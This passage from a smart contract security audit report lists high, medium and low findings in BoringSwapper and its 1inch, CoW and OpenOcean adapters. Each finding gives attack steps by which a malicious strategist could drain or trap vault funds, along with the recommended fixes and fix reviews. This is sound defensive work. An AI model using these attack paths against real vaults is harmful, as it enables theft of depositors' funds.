}
```

Keep this check in `verifyLimitOrder()`, which runs both at `submitOrder()` and at fill (through `isValidSignature()`).

1. Validate the FeeTaker fees. Require the integrator and protocol fees to be zero, or subtract them and return the net amount as `outputAmount`, so the price check sees what the vault actually receives.

Customer Response:

Fixed in commit ac89958.

Fix Review:

Fix confirmed.

H-04: In OneInch, `verifyLimitOrder` does not validate fee recipients or fee amounts in the FeeTaker extension, allowing a strategist to steal up to 56.7% of vault buyTokens

Severity: High	Impact: High	Likelihood: Medium
Files: /src/base/Periphery/adapters/OneInchAdapter.sol	Status: Fixed	

Description:

When a 1inch limit order uses a FeeTaker extension, `verifyLimitOrder` validates only the custom receiver (the vault address). It does not inspect or restrict the fee recipients or fee amounts encoded in the PostInteractionData.

The FeeTaker's `_postInteraction` reads the following directly from `extraData`:

```
extraData[0]     => flags (CUSTOM_RECEIVER_FLAG)
extraData[1:21]  => integrator fee recipient      <= NOT validated by adapter
extraData[21:41] => protocol fee recipient        <= NOT validated by adapter
extraData[41:61] => custom receiver               <= VALIDATED by adapter
extraData[61:63] => integratorFee                 <= NOT validated by adapter
extraData[63:64] => integratorShare               <= NOT validated by adapter
extraData[64:66] => resolverFee                   <= NOT validated by adapter
extraData[66:67] => whitelistDiscountNumerator    <= NOT validated by adapter
extraData[67:END_WHITELIST] => whitelist entries  <= NOT validated by adapter
extraData[END_WHITELIST:] => tail (optional)      <= NOT validated by adapter
```

The fee rates (`integratorFee`, `resolverFee`) are `uint16` values in base 1e5. The FeeTaker deducts fees from the `takingAmount` the taker provides before forwarding to the receiver:

```
    // FeeTaker.sol line 152
    IERC20(order.takerAsset.get()).safeTransfer(receiver, takingAmount -
integratorFeeAmount - protocolFeeAmount);
```

With both rates at their `uint16` maximum (65,535 each), the fee calculation gives:

```
totalFees = takingAmount × (integratorFee + resolverFee) / (1e5 + integratorFee + resolverFee)
          ≈ 56.7% of takingAmount
```

The vault therefore receives only ~43.3% of what the taker provided, with ~56.7% going to the attacker-controlled fee recipients. The fee recipients in PostInteractionData can be any address, and the whitelist is maker-controlled: the strategist can whitelist any taker they control, bypassing the `OnlyWhitelistOrAccessToken` check.

Recommendations:

`verifyLimitOrder` should validate the PostInteractionData when an extension is present, at minimum checking that:

- Integrator and protocol fee recipients match expected addresses (e.g. zero or a known fee collector)
- Fee rates are zero or within a protocol-defined cap

Alternatively, require that `integratorFee == 0` and `resolverFee == 0` if fee extraction through the FeeTaker is not an intended feature.

Customer Response:

Fixed in commit ac89958.

Fix Review:

Slots 4 to 6 in the extension should be checked to have the same value as slot 3.

Customer Response:

Fixed in PR 749.

Fix Review:

Fix confirmed.

H-05: `verifyLimitOrder` does not validate `takingAmountData` in the 1inch extension, allowing a malicious strategist to drain vault sellTokens for near-zero cost

Severity: High	Impact: High	Likelihood: High
Files: /src/base/Periphery/adapters/OneInchAdapter.sol	Status: Fixed	

Description:

When a 1inch limit order has an extension (`extension.length > 0`), the extension can include a `takingAmountData` field that overrides how the settlement computes the required taking amount. `verifyLimitOrder` does not inspect or restrict this field.

`isValidSignature` validates the order using `info.outputAmount = order.takingAmount` (the value stated in the order struct). The PriceValidator confirms this amount is fair relative to the oracle price. However, `takingAmountData` can point to an arbitrary contract whose `getTakingAmount` function returns any value the strategist chooses. The 1inch settlement calls this getter at fill time to determine how much takerAsset the taker must provide, and the getter's return value overrides `order.takingAmount`. There is no floor enforcement that the getter must return at least the proportional `order.takingAmount`.

Attack scenario

1. Strategist creates a 1inch limit order with `order.takingAmount = T` (a fair amount that passes the oracle check in `isValidSignature`)
2. The extension's `takingAmountData` points to a malicious getter contract returning T' ≈ 0
3. The order is submitted — `verifyLimitOrder` and the PriceValidator validate `T` and approve the order
4. The strategist (or a colluding taker) fills the order:
    - Settlement calls `isValidSignature` → oracle check validates `T` → order approved
    - Settlement calls the getter → required taking amount = T' ≈ 0

- Taker provides T' ≈ 0 of buyToken
- Settlement pulls the full `makingAmount` of sellToken from BoringSwapper and delivers it to the taker
- FeeTaker receives T' ≈ 0 and forwards T' − fees ≈ 0 to the vault

5. The vault's entire sellToken position is gone; it receives effectively nothing

The oracle slippage check is completely bypassed: it validated `T` but the fill settled at T'. The loss is the full `makingAmount` of sellToken.

Recommendations:

`verifyLimitOrder` must validate that the extension's `takingAmountData` is either empty (no custom getter) or points to a known, trusted getter address. At minimum, reject any order whose extension specifies a `takingAmountData` field that does not match an approved getter:

```
if (extension.length > 0) {
    if (order.receiver != feeTaker) revert OneInchAdapter__UnknownFeeTaker();
    if (order.makerTraits & _POST_INTERACTION_CALL_FLAG == 0) revert
OneInchAdapter__PostInteractionRequired();
+   bytes memory takingAmountData = _extractTakingAmountData(extension);
+   if (takingAmountData.length > 0) {
+       address getter = address(bytes20(takingAmountData));
+       if (getter != feeTaker) revert OneInchAdapter__UnknownAmountGetter();
+   }
    address customReceiver = _extractCustomReceiver(extension);
    if (customReceiver != address(swapConfig.receiver)) revert
Adapter__ReceiverMismatch();
}
```

Customer Response:

Fixed in commit ac89958.

Fix Review:

The tail in the fee data should be disallowed, otherwise a malicious strategist could pass a custom getter and that would make the issue exploitable again. `feeLen` should be checked to be exactly 7 bytes long, this way the tail would be empty.

Customer Response:

Fixed in PR 749.

Fix Review:

Fix confirmed.

Medium Severity Issues

M-01: `OneInchAdapter` doesn't enforce partial + multiple fills orders allowing misinterpretation of `filledAmount`

Severity: Medium	Impact: Medium	Likelihood: Medium
Files: src/base/Periphery/adapters/OneInchAdapter.sol#L268	Status: Fixed	

Description:

`filledAmount()` returns `0` ("untouched") for orders that have actually been fully filled or cancelled, whenever the order uses 1inch's BitInvalidator rather than its `RemainingInvalidator`.

The decode is correct, but it reads the wrong storage for most flag combinations, and `verifyLimitOrder()` never constrains the order to the one combination the decode assumes.

1inch tracks fill progress in two mutually exclusive ways, selected by `makerTraits`:

- The `_remainingInvalidator[maker][orderHash]` slot is written only when an order allows both partial **AND** multiple fills
- Every other flag combination is a `BitInvalidator` order. Its fills flip `_bitInvalidator[maker]` and never touch `_remainingInvalidator`

`filledAmount()` derives the filled amount purely from the remaining-invalidator slot:

```
uint256 raw = IOneInchOrderMixin(router).rawRemainingInvalidatorForOrder(swapper,
orderHash);
uint256 filled;
if (raw == 0) {
    filled = 0;                                  // untouched
} else if (raw == type(uint256).max) {
    filled = order.makingAmount;                 // fully filled or cancelled
} else {
    filled = order.makingAmount - ~raw;          // partial fill: ~raw is the
```

```
remaining maker amount
}
```

`rawRemainingInvalidatorForOrder()` is a plain mapping read, it returns `0` for any slot that was never written.

For a `BitInvalidator` order that slot stays `0` forever, even after the order is 100% filled or cancelled.

So the function takes the `raw == 0` branch and reports `filled = 0` for an order that has already moved the vault's funds.

Recommendations:

Enforce in `verifyLimitOrder()` that every accepted order uses the RemainingInvalidator, so the `filledAmount()` decode's precondition always holds.

Concretely, only allow orders that can be filled multiple times AND partially filled by requiring `ALLOW_MULTIPLE_FILLS` set (bit == 1) and `NO_PARTIAL_FILLS` unset (bit == 0), which is the only combination that yields `useBitInvalidator() == false`.

Customer Response:

Fixed in commit 5b1f2d3.

Fix Review:

We think the fix is incomplete. The `router.bitInvalidatorForOrder()` actually performs a `nonce >> 8` internally which the adapter already does itself before the call, so the nonce is shifted twice: the router ends up reading word `nonce >> 16` instead of `nonce >> 8`, pulling the wrong storage slot for any `nonce >= 256`. Passing the raw nonce (and letting the router do the single shift it intends) is what actually fixes it. The line should be `uint256 raw = IOneInchOrderMixin(router).bitInvalidatorForOrder(swapper, nonce)`.

Customer Response:

Fixed in PR 749.

Fix Review:

Fix confirmed.

M-02: Atomic swaps approve more tokens than necessary, enabling consumption of pending limit order allowance

Severity: Medium	Impact: Medium	Likelihood: Medium
Files: src/base/Periphery/BoringSwapper.sol#L572-L584	Status: Fixed	

Description:

`_swapPostFlightCheck()` approves the swap `target` for more `tokenIn` than the atomic swap consumes, exposing the escrowed principal of every open limit order that shares the same `target` to the swap call.

The atomic swap only needs to move `amount` of `tokenIn`. Instead the function snapshots the existing allowance to `target`, then approves the **sum** of that allowance and `amount` before calling the target.

This could allow the router to consume more tokens than the swapper intended initially.

Recommendations:

Approve the `target` for exactly `amount` during the swap, and rely on the existing post-call restore to re-establish the open-order allowance.

Customer Response:

Fixed in commit 5b1f2d3.

Fix Review:

Fix confirmed.

M-03: 1inch pool validation does not check that `tokenIn` is one of the tokens of the pool, allowing a malicious strategist to corrupt the swapper accounting

Severity: Medium	Impact: Medium	Likelihood: Low
Files: /src/base/Periphery/adapters/OneInchAdapter.sol	Status: Fixed	

Description:

The pools used in the 1inch adapter are validated to ensure they are factory-registered, but in no case is the source token checked to be one of the tokens in the pool.

For UniV2 and UniV3, the validation computes the expected output token with:

```
return token0 == tokenIn ? token1 : token0;
```

If `tokenIn` is neither `token0` nor `token1`, the function does not revert (it silently returns `token0`). This has no practical impact for UniV2 (the swap always reverts at execution because UniV2 expects one of its reserve tokens to be sent to the pair contract, but `tokenIn` is sent instead), but it creates a real exploit path for UniV3 when a 1inch limit order is active, because in UniV3 the pool pulls the input token directly from the BoringSwapper via the swap callback.

For Curve, `_getTokenOutCurve` ignores `tokenIn` entirely and does not read the from-coin index encoded in the `dex` word at `_CURVE_FROM_COINS_ARG_OFFSET = 200`. This is a correctness gap but not exploitable (see Impact).

Impact

Curve: 1inch transfers `srcToken` to the AggregationRouter itself (`address(this)`), not to the Curve pool. The Curve pool then pulls `fromToken` (the actual pool coin at `fromTokenIndex`) from the router. If `srcToken ≠ fromToken`, the router holds `srcToken` but not `fromToken`, and the pool's pull fails. Not exploitable.

UniV2: When `srcToken` is not in the pool, it is transferred to the pool but the pool's k-invariant check fires (no reserve token balance changed), and the entire transaction reverts. Always safe.

UniV3: When a 1inch limit order is active, `_limitOrderPreFlightCheck` transfers `tokenIn` from the vault to the BoringSwapper and sets `tokenIn.allowance(BoringSwapper, AggregationRouter) += inputAmount`, because the 1inch adapter uses `approvalTarget = router`. This allowance stays live until the order is filled or cancelled.

The UniV3 swap callback calls `poolToken.transferFrom(BoringSwapper, pool, amount)` with the AggregationRouter as `msg.sender`, reading the actual pool token from `pool.token0()`/`pool.token1()`, not from `srcToken`. If the pool's input token matches a token that has an active limit order allowance, the callback succeeds even if `srcToken` is a completely different token.

Concrete attack:

1. A 1inch limit order is active for USDT → DAI. BoringSwapper holds USDT and `USDT.allowance(BoringSwapper, AggregationRouter) = X`.
2. A malicious strategist submits an atomic swap: `swapConfig.tokenIn = USDC`, targeting a WETH(token0)/USDT(token1) UniV3 pool with `zeroForOne = false` (USDT in, WETH out).
3. The adapter's `_getTokenOutUniV3(dex, USDC)` finds `token0 = WETH ≠ USDC`, silently returns `token0 = WETH`. `swapConfig.tokenOut = WETH` matches, so validation passes.
4. The swap executes. The UniV3 callback reads `token = token1 = USDT` (since `amount1Delta > 0`) and calls `USDT.transferFrom(BoringSwapper, pool, amount)`. The limit order's allowance covers this — the call succeeds.
5. The pool sends WETH to the BoringSwapper. The postflight check measures the WETH increase and sends it to the vault.
6. USDC was transferred from the vault to the BoringSwapper but was never consumed — it stays there and is eventually swept back.
7. The USDT that was locked for the limit order is now gone. The limit order can no longer be filled, and `BoringSwapper.cancelOrder` will fail when it tries to refund USDT to the vault (BoringSwapper has none left).

Recommendations:

Add an explicit revert in `_getTokenOutUniV3` when `tokenIn` is not one of the pool's tokens:

```
    function _getTokenOutUniV3(uint256 dex, address tokenIn) internal view
returns (address) {
        address pool = address(uint160(dex));
        address token0 = IUniswapV3(pool).token0();
        address token1 = IUniswapV3(pool).token1();
        uint24 fee = IUniswapV3(pool).fee();
        if (IUniswapV3Factory(univ3Factory).getPool(token0, token1, fee) != pool)
revert OneInchAdapter__InvalidPool();
+       if (token0 != tokenIn && token1 != tokenIn) revert
OneInchAdapter__InvalidPool();
        return token0 == tokenIn ? token1 : token0;
    }
```

As a defence-in-depth measure, although the rest of places where `tokenIn` is not checked to be one of the tokens of the pool pose no danger to the protocol, apply the same fix to `_getTokenOutUniV2`, and for Curve, also read `fromTokenIndex` from the `dex` word and check `coins[fromTokenIndex] == tokenIn`. Consider also fixing `callUniswap` and `callUniswapTo` in the OpenOcean adapter to make sure the `srcToken` is the input token of the first pool of the chain.

Customer Response:

Fixed in commit 5b1f2d3.

Fix Review:

We think the fix is incomplete. It's ok for the `Curve` case. In `UniV2/UniV3`, it checks that the `tokenIn` is one of the two tokens of the pool, but not that it is actually the input token. Also, the `OpenOcean` case is not fixed.

Customer Response:

Fixed in PR 749.

Fix Review:

Fix confirmed for OpenOcean and for UniV3 on OneInch. Issue acknowledged for UniV2 on OneInch, as it is not exploitable.

M-04: `CowswapAdapter` does not restrict `appData`, allowing a malicious strategist to redirect up to 1% of every CoW order's output via a partner fees

Severity: Medium	Impact: Medium	Likelihood: Medium
Files: /src/base/Periphery/adapters/CowswapAdapter.sol	Status: Fixed	

Description:

`CowswapAdapter.verifyLimitOrder` validates several fields of the CoW order, such as `kind`, `feeAmount`, `sellTokenBalance`, `buyTokenBalance`, `sellToken`, `buyToken`, and `receiver`, but never checks `order.appData`.

`appData` is a `bytes32` reference to off-chain metadata, a JSON file stored in IPFS. One supported feature is partner fees: by configuring them in the `appData` object, the solver redirects up to 1% of the trade surplus to an arbitrary address before delivering the rest to the receiver. This is a standard CoW Protocol feature that all approved solvers implement by default. No special flow beyond normal settlement is needed.

A malicious strategist can set `order.appData` to the hash of a metadata object specifying such partner fees, with an attacker-controlled recipient. The order passes all adapter checks (`feeAmount == 0` only blocks the on-chain protocol fee field, not appData-encoded partner fees), is approved via `approvedHashes`, and gets filled by solvers. The vault silently receives 1% less output on every fill. The slippage check still passes because the vault receives above the validated minimum. No trace appears in BoringSwapper's fee accounting or the `FeeRegistry`.

Recommendations:

Restrict `appData` to `bytes32(0)` in `verifyLimitOrder`:

```
+ if (order.appData != bytes32(0)) revert CowswapAdapter__NonEmptyAppData();
```

If the protocol wants to use CoW's partner fees, hooks or other of the `appData` functionalities legitimately in the future, consider storing an admin-controlled `allowedAppData` in the adapter and validate against it instead of hardcoding zero.

Customer Response:

Fixed in commit 5b1f2d3.

Fix Review:

Fix confirmed.

M-05: OneInch's `verifyLimitOrder` does not check `POST_INTERACTION_CALL_FLAG`, allowing a strategist to trap vault buyTokens in the FeeTaker contract

Severity: Medium	Impact: Medium	Likelihood: Low
Files: /src/base/Periphery/adapters/OneInchAdapter.sol	Status: Fixed	

Description:

When a 1inch limit order uses a FeeTaker extension (`extension.length > 0`), `verifyLimitOrder` checks that `order.receiver == feeTaker` and that the custom receiver embedded in the extension equals the vault. However, it never checks that `order.makerTraits` has `POST_INTERACTION_CALL_FLAG` (bit 251) set.

The 1inch router only calls `postInteraction` when this flag is set:

```
    function needPostInteractionCall(MakerTraits makerTraits) internal pure
returns (bool) {
        return (MakerTraits.unwrap(makerTraits) & _POST_INTERACTION_CALL_FLAG) !=
0;
    }
    ...
    if (order.makerTraits.needPostInteractionCall()) {
        // calls feeTaker.postInteraction() which forwards takerAsset to vault
    }
```

Without it, at fill time:

1. Taker transfers `takerAsset` (buyToken) to `order.receiver = feeTaker`
2. Router skips `postInteraction` entirely (flag not set)
3. FeeTaker holds the buyTokens

The vault's `makerAsset` (sellToken) has already been transferred out to the taker, so the vault loses its sellToken and receives nothing in return.

The buyTokens are not permanently inaccessible, because FeeTaker has a `rescueFunds(IERC20, uint256)` function gated by `onlyOwner`. As the contract is owned by 1Inch, the funds might take some time to be recovered and deposited again in the vault..

Recommendations:

When `extension.length > 0`, assert that the post-interaction flag is set in `makerTraits`:

```
if (extension.length > 0) {
    if (order.receiver != feeTaker) revert OneInchAdapter__UnknownFeeTaker();
+   if (order.makerTraits & _POST_INTERACTION_CALL_FLAG == 0) revert
OneInchAdapter__PostInteractionRequired();
    address customReceiver = _extractCustomReceiver(extension);
    if (customReceiver != address(swapConfig.receiver)) revert
Adapter__ReceiverMismatch();
}
```

Customer Response:

Fixed in commit 5b1f2d3.

Fix Review:

Fix confirmed.

M-06: `fillOrder` does not block the maker-amount flag, corrupting price validation and rate limits

Severity: Medium	Impact: Medium	Likelihood: Medium
Files: /src/base/Periphery/adapters/OneInchAdapter.sol	Status: Fixed	

Description:

`OneInchAdapter` blocks two dangerous `takerTraits` bits in their `fillOrder` functions (`_ARGS_HAS_TARGET` (bit 251) and `_TAKER_UNWRAP_WETH` (bit 254)), but leave bit 255 unchecked:

```
    ...
    if (takerTraits & _ARGS_HAS_TARGET != 0) revert
OneInchAdapter__CustomTargetNotAllowed();
    if (takerTraits & _TAKER_UNWRAP_WETH != 0) revert
OneInchAdapter__WethUnwrapNotAllowed();

    return (router, amount);
```

Bit 255 is `_MAKER_AMOUNT_FLAG`, defined in `AggregationRouterV6.sol`:

```
    uint256 private constant _MAKER_AMOUNT_FLAG = 1 << 255;
```

When it is set, the semantics of `amount` change entirely. The router interprets `amount` as the desired makerAsset output (how much the taker wants to receive), and computes the actual takerAsset consumed proportionally (lines 3940-3942):

```
    ...
    if (takerTraits.isMakingAmount()) {
        makingAmount = Math.min(amount, remainingMakingAmount);
        takingAmount = order.calculateTakingAmount(extension, makingAmount,
remainingMakingAmount, orderHash);
```

```
        ...
```

In the swapper's `fillOrder` context the swapper is the taker: `tokenIn = takerAsset` (what swapper spends), `tokenOut = makerAsset` (what swapper receives). When bit 255 is set, `amount` is in makerAsset (tokenOut) units. The adapter returns it as-is, so the Swapper uses a tokenOut-denominated number in every place that expects a tokenIn quantity:

```
// BoringSwapper.sol — swap()
if (!_consumeRateLimit(key, swapConfig.tokenRoute.tokenIn, amount)) ...  // rate
limit: wrong denomination

// BoringSwapper.sol — _swapPostFlightCheck()
swapConfig.tokenRoute.tokenIn.safeTransferFrom(address(swapConfig.receiver),
address(this), amount); // wrong pull from vault
swapConfig.tokenRoute.tokenIn.safeApprove(target, amount +
tokenInCurrentAllowance);                // wrong approval basis

IPriceValidator(priceValidator).validate(
    swapConfig.tokenRoute.tokenIn,   // takerAsset
    swapConfig.tokenRoute.tokenOut,  // makerAsset
    amount,                          // ← makerAsset units, not takerAsset
    tokenBalanceDelta,               // makerAsset received
    ...
);
```

The price validator therefore compares `tokenBalanceDelta` (makerAsset received) against `amount` (makerAsset requested). Since the router delivers approximately what the taker asked for, this ratio is always close to 1:1 and passes any slippage check regardless of the actual takerAsset cost.

For the router's `transferFrom` to succeed, the swapper needs enough takerAsset balance and approval to cover the true `takingAmount`. The Swapper's `_swapPostFlightCheck` temporarily raises the router's takerAsset approval to `amount + tokenInCurrentAllowance`. When a pending limit order exists where `makerAsset = fillOrder's takerAsset`, the swapper already holds that principal on its balance and has a live approval to the router for it. The combined approval covers the true `takingAmount` even when it far exceeds `amount`, letting the swap execute —

draining the pending order's principal — while the price validator sees only the makerAsset-denominated `amount`.

Impact

A compromised strategist can:

1. **Bypass price validation entirely**: The validator receives `amount` in makerAsset units as the tokenIn figure. It compares makerAsset-received to makerAsset-requested, which is always approximately 1:1, regardless of how much takerAsset was actually consumed. Any exchange rate, however unfavourable, passes slippage checks.

2. **Bypass rate limits**: `_consumeRateLimit` is charged against `amount` (makerAsset-denominated) for `tokenIn` (takerAsset). The actual takerAsset consumed can be orders of magnitude larger, making the rate limit ineffective.

3. **Drain pending limit order principal**: When `fillOrder.takerAsset` equals the `makerAsset` of a pending limit order, the existing approval and on-swapper balance allow the router to pull the true `takingAmount` from the pending order's principal, without correct accounting or slippage validation.

Recommendations:

Add a constant for the maker-amount flag and reject any `fillOrder` call that sets it, alongside the existing blocked bits. Apply the fix to both `OneInchAdapter` and `OneInchAdapterNoExecutor`:

```
+   uint256 private constant _MAKER_AMOUNT_FLAG = 1 << 255;
    ...
    function fillOrder(
        DecoderCustomTypes.OneInchV6Order calldata order,
        bytes32 /*r*/,
        bytes32 /*vs*/,
        uint256 amount,
        uint256 takerTraits
    )
        external
        view
        returns (address, uint256)
    {
        ISwapperTypes.SwapConfig memory swapConfig = _getAppendedSwapConfig();
```

```
        if (ERC20(address(uint160(order.takerAsset))) !=
swapConfig.tokenRoute.tokenIn) revert Adapter__TokenInMismatch();
        if (ERC20(address(uint160(order.makerAsset))) !=
swapConfig.tokenRoute.tokenOut) revert Adapter__TokenOutMismatch();
+       if (takerTraits & _MAKER_AMOUNT_FLAG != 0) revert
OneInchAdapter__MakerAmountFlagNotAllowed();
        ...
        return (router, amount);
    }
```

If maker-amount fills are ever needed in the future, the adapter must convert `amount` (makerAsset) to the actual takerAsset cost before returning it.

Customer Response:

Fixed in commit 5b1f2d3.

Fix Review:

Fix confirmed.

Low Severity Issues

L-01: A malicious strategist can trap vault principal by resubmitting an identical order after its hash is cleared

Severity: Low	Impact: Low	Likelihood: Low
Files: src/base/Periphery/BoringSwapper.sol#L262-L264	Status: Fixed	

Description:

A strategist can resubmit the exact same limit order after an earlier copy was cancelled or filled, and the vault's tokens for the resubmission get stuck: the order can no longer be filled, and `cancelOrder()` reverts. Only an admin can recover them.

`BoringSwapper` blocks duplicates with `approvedHashes[hash]`. `_cancelOrder()` and `releaseFee()` clear that flag, so the same order is accepted again and the vault's tokens are pulled a second time:

```
// src/base/Periphery/BoringSwapper.sol:L262-L264
approvedHashes[record.protocolHash] = false;
delete hashToOrder[record.protocolHash];
```

However external protocols already treat that order hash as dead, so no one can fill the resubmission. When the strategist tries to cancel it, `_cancelOrder()` reads `filledAmount == inputAmount` (the dead hash reports as fully filled) and reverts with `OrderAlreadyFilled`.

The tokens stay counted in `pendingOrderPrincipal`, recoverable only through the admin-only `releaseFee()` then `sweep()` flow.

Recommendations:

Introduce a mapping responsible for storing used hashes. Mark the processed hashes as “used” in `_cancelOrder()` and `releaseFee()`.

Moreover, in `_limitOrderPreFlightCheck()` verify the computed hash is not already used before proceeding.

```
// src/base/Periphery/BoringSwapper.sol
mapping(bytes32 => bool) public usedHashes;

// in _cancelOrder() and releaseFee(), alongside clearing approvedHashes:
usedHashes[record.protocolHash] = true;

// in _limitOrderPreFlightCheck:
if (usedHashes[info.protocolHash]) revert BoringSwapper__DuplicateOrder();
```

Customer Response:

Fixed in commit 5b1f2d3.

Fix Review:

Fix confirmed.

L-02: `swapGmxV2` is permanently broken through BoringSwapper because no ETH value is forwarded

Severity: Low	Impact: Low	Likelihood: High
Files: /src/base/Periphery/adapters/OpenOceanAdapter.sol	Status: Fixed	

Description:

`OpenOceanExchange.swapGmxV2` requires `msg.value > 0` to cover the GMX V2 keeper execution fee:

```
    function swapGmxV2(
        IOpenOceanCaller caller,
        SwapDescription calldata desc,
        IOpenOceanCaller.CallDescription[] calldata calls
    ) external payable whenNotPaused returns (uint256 returnAmount) {
        require(calls.length > 0, "Call data should exist");
        require(msg.value > 0, "Invalid msg.value");
        ...
```

BoringSwapper executes all swaps via a plain call with no ETH attached:

```
    function _swapPostFlightCheck(ISwapperTypes.SwapConfig calldata swapConfig,
address target, uint256 amount)
        internal
        returns (uint256)
    {
        ...
        (bool success,) = target.call(swapConfig.swapData);
        ...
```

Any swap routed through `swapGmxV2` will therefore always revert. The `OpenOceanAdapter` includes a `swapGmxV2` validation function that correctly checks the caller and token pair, but the actual execution path is unreachable.

Recommendations:

Either remove the `swapGmxV2` function and its validation from `OpenOceanAdapter`, or add ETH forwarding support to BoringSwapper's swap execution if GMX V2 is intended to be supported.

Customer Response:

Fixed in commit 5b1f2d3.

Fix Review:

Fix confirmed. The function has been disabled and removed from the code.

L-03: `FeeRegistry` constructor does not validate `_maxFeeBps`

Severity: Low	Impact: High	Likelihood: Low
Files: /src/base/Periphery/FeeRegistry.sol	Status: Fixed	

Description:

`FeeRegistry.setMaxFeeBps` enforces a cap of 10,000 bps (100%):

```
    /// @notice Updates the global cap on fee tiers. Bounded at 100% (10_000 bps).
    function setMaxFeeBps(uint16 newMaxFeeBps) external requiresAuth {
        if (newMaxFeeBps > 10_000) revert FeeRegistry__FeeTooHigh();
        maxFeeBps = newMaxFeeBps;
        emit MaxFeeBpsUpdated(newMaxFeeBps);
    }
```

The constructor sets `maxFeeBps` without this check:

```
    constructor(address _owner, uint16 _maxFeeBps) Auth(_owner, Authority(address(0))) {
        maxFeeBps = _maxFeeBps;
    }
```

A deployer can set `_maxFeeBps` to any value up to `type(uint16).max` (65,535 bps, or 655%). All subsequent calls to `setAtomicGroupPairFee`, `setLimitGroupPairFee`, `setDefaultAtomicFee`, and `setDefaultLimitFee` validate fees against this uncapped `maxFeeBps`, so those calls would pass with fee values far above 100%.

Recommendations:

Apply the same check in the constructor:

```
    constructor(address _owner, uint16 _maxFeeBps) Auth(_owner,
Authority(address(0))) {
+       if (_maxFeeBps > 10_000) revert FeeRegistry__FeeTooHigh();
        maxFeeBps = _maxFeeBps;
    }
```

Customer Response:

Fixed in commit 5b1f2d3. Fees could just be sorted out off chain if `FeeRegistry` ever happened to be deployed with a `maxFee > 10_000 bps`. We control the registry so this is immediately fixable if deployed in this condition.

Fix Review:

Fix confirmed.

L-04: `PriceValidator` silently assumes all rate providers return 1e18-scaled rates with no on-chain enforcement

Severity: Low	Impact: Medium	Likelihood: Low
Files: /src/base/Periphery/adapters/price/PriceValidator.sol	Status: Fixed	

Description:

`PriceValidator._getPrices` computes the quote-asset value of a token amount as:

```
    function _getPrices(
        ISwapper swapper,
        ERC20 token,
        address quoteAsset,
        uint256 amount
    ) internal view returns (bool skip, uint256[] memory values) {
        ...
        uint256 decimals = token.decimals();
        uint256 idx;
        for (uint256 i; i < rateProviders.length;) {
            uint256 primaryValue;
            {
                uint256 rate = IRateProvider(rateProviders[i]).getRate();
                if (rate == 0) revert PriceValidator__ZeroOracleRate();
                primaryValue = amount.mulDivDown(rate, 10 ** decimals);
            }
            ...
```

`_fillIntermediaryValues` chains a second rate with a hardcoded divisor:

```
    values[idx] = primaryValue.mulDivDown(baseRate, 1e18);
```

Both formulas produce comparable results only when all rate providers return rates at 18-decimal scale. If the rates are at different scales, slippage checks that should pass might revert, and some that should fail might pass.

The `IRateProvider` interface exposes only `getRate()` with no `decimals()` function, so `PriceValidator` has no way to verify the scale at runtime. The system has wrapper contracts (`GenericRateProviderWithDecimalScaling`) that can normalise any feed to 1e18 output, but those wrappers do not enforce that `outputDecimals == 18`, i.e., configuring `inputDecimals == outputDecimals == 8` would pass through a raw Chainlink rate unchanged.

Recommendations:

Add a `decimals` field to the `RateProviderConfig` struct in `BoringSwapper` and normalise each rate to 1e18 inside `_getPrices` before using it. This makes the assumption explicit and on-chain verifiable:

```
uint256 normalizedRate = rate.mulDivDown(1e18, 10 ** rateProviderDecimals[i]);
primaryValue = amount.mulDivDown(normalizedRate, 10 ** decimals);
```

Alternatively, document the 1e18 requirement in `setTokenOracle` and `setBaseAssetOracle` and enforce that `GenericRateProviderWithDecimalScaling` is always deployed with `outputDecimals == 18`.

Customer Response:

Fixed in commit 5b1f2d3. We already enforce the scaling of decimals to be 1e18 scaled off-chain via config verification, worth documenting explicitly but this is a known Veda config.

Fix Review:

Fix confirmed. The behavior has been documented in `src/helper/GenericRateProviderWithStalenessCheck.sol`

L-05: CoW `freeFilledAmountStorage` causes filled expired orders to appear unfilled, enabling a fake cancel refund that drains other pending orders' principal

Severity: Low	Impact: Medium	Likelihood: Low
Files: /src/base/Periphery/adapters/CowswapAdapter.sol	Status: Acknowledged	

Description:

`CowswapAdapter.filledAmount()` returns the live on-chain filled amount by querying GPv2Settlement:

```
    function filledAmount(ISwapperTypes.SwapConfig calldata swapConfig, address
swapper, bytes calldata /*context*/)
        external
        view
        returns (uint256)
    {
        ...
        bytes memory orderUid = abi.encodePacked(orderHash, swapper,
order.validTo);
        return IGPv2Settlement(cowSettlement).filledAmount(orderUid);
    }
```

`_cancelOrder` trusts this return value to compute the refund:

```
    function _cancelOrder(uint256 orderId, ISwapperTypes.SwapConfig calldata
swapConfig, bytes calldata cancelData) internal {
        ...
        uint256 filledAmount = IAdapter(record.adapter).filledAmount(swapConfig,
address(this), record.context);
        if (filledAmount >= record.inputAmount) revert
BoringSwapper__OrderAlreadyFilled();
        ...
        uint256 refund = record.inputAmount - filledAmount;
```

```
        ...
        pendingOrderPrincipal[record.tokenIn] -= record.inputAmount;
        record.tokenIn.safeTransfer(address(record.receiver), refund);
        emit OrderCancelled(orderId, refund);
    }
```

The CoW settlement contract exposes `freeFilledAmountStorage`, which deletes the `filledAmounts` storage entry for any order whose `validTo` has passed, returning a gas refund to the caller. The function carries an `onlyInteraction` modifier (`require(address(this) == msg.sender)`), meaning it can only be executed as a self-call within a CoW settlement batch — i.e., it must be included as an interaction by an **authenticated CoW solver**. This is a legitimate, routine gas-optimisation that solvers are expected to perform for any expired order, filled or not.

After `freeFilledAmountStorage` is invoked for a filled expired order, `GPv2Settlement.filledAmount(orderUid)` returns 0, regardless of how much was actually settled. This breaks `_cancelOrder`'s guard: the filled expired order becomes indistinguishable on-chain from one that was never touched. The `filledAmount >= record.inputAmount` check evaluates `0 >= sellAmount`, false, so `_cancelOrder` proceeds and computes `refund = record.inputAmount`.

The `cancelLimitOrder` call subsequently triggers `invalidateOrder` on the CoW settlement. Since the swapper is the order owner and `invalidateOrder` does not check `validTo`, the call succeeds and the cancel completes without revert.

The refund transfer (`record.tokenIn.safeTransfer(address(record.receiver), refund)`) draws from the swapper's current `tokenIn` balance. Because the filled order's principal was already pulled by the CoW settlement, that balance is sourced from other pending orders' principals held on the swapper. The misbooking is compounded by the fact that `pendingOrderPrincipal[record.tokenIn] -= record.inputAmount` still executes, reducing the tracked principal by the full `sellAmount` even though those funds were never available for this refund.

Recommendations:

Do not rely solely on `GPv2Settlement.filledAmount` as proof that an expired CoW order was unfilled. At minimum, store the order's `validTo` in the `OrderRecord` and treat any cancel attempt after expiry as requiring explicit off-chain evidence of the filled amount (or reject it entirely).

